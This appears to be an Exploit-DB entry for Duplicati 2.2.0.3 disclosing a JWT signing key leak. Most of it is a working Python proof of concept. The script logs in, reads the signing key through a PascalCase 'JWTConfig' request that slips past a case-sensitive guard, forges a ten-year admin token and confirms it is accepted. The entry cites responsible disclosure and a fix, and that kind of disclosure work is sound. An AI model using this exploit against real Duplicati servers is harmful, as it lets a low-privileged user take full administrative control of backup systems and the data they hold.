Duplicati 2.2.0.3 - JWT Signing Key Leak

EDB-ID:

52646

CVE:

N/A




Platform:

Multiple

Date:

2026-08-17


# Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak
Bypass leading to Token Forgery
# Date: 2026-06-23
# Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI
# Vendor Homepage: https://www.duplicati.com
# Software Link: https://github.com/duplicati/duplicati
# Version: <= 2.2.0.3 (commit 6ad921166 and earlier)
# Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch
# CVE: Pending (researcher assigned)
# References:
# - https://github.com/duplicati/duplicati/pull/6787 (fix)
# - Responsible disclosure to maintainer

Description:
Duplicati exposes the JWT signing key through a case-sensitive guard bypass
in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig
(PascalCase) bypasses the guard check for "jwt-config", allowing any
authenticated user to retrieve the secret. With the extracted SigningKey,
Authority and Audience, an attacker can forge a long-lived admin token that
grants full administrative access to the application.
import json, sys, time, requests, jwt

PROXIES = None
if "--proxy" in sys.argv:
    proxy = sys.argv[sys.argv.index("--proxy") + 1]
    PROXIES = {"http": proxy, "https": proxy}
    requests.packages.urllib3.disable_warnings()


def login(url, password):
    r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES)
    r.raise_for_status()
    return r.json()["AccessToken"]


def get_setting(url, token, key):
    r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES)
    return r.status_code, r.text


def forge_token(jwt_config):
    now = int(time.time())
    return jwt.encode({
        "typ": "AccessToken",
        "sid": "web-api",
        "fam": "temporary",
        "nbf": now,
        "exp": now + 10 * 365 * 86400,
        "iss": jwt_config["Authority"],
        "aud": jwt_config["Audience"],
    }, jwt_config["SigningKey"], algorithm="HS256")


def main():
    url, password = sys.argv[1], sys.argv[2]
    token = login(url, password)

    status, _ = get_setting(url, token, "jwt-config")
    print(f"GET /serversetting/jwt-config  -> {status} (blocked by guard)")

    status, body = get_setting(url, token, "JWTConfig")
    print(f"GET /serversetting/JWTConfig   -> {status} (guard bypassed)")

    jwt_config = json.loads(body)
    if isinstance(jwt_config, str):
        jwt_config = json.loads(jwt_config)

    print(f"  SigningKey: {jwt_config['SigningKey']}")
    print(f"  Authority:  {jwt_config['Authority']}")
    print(f"  Audience:   {jwt_config['Audience']}")

    forged = forge_token(jwt_config)
    print(f"\nForged token: {forged}")

    status, _ = get_setting(url, forged, "AllowedHostnames")
    print(f"Verify forged token -> {status}")

    if status == 200:
        print("RESULT: Forged token accepted, full admin access achieved")


if __name__ == "__main__":
    main()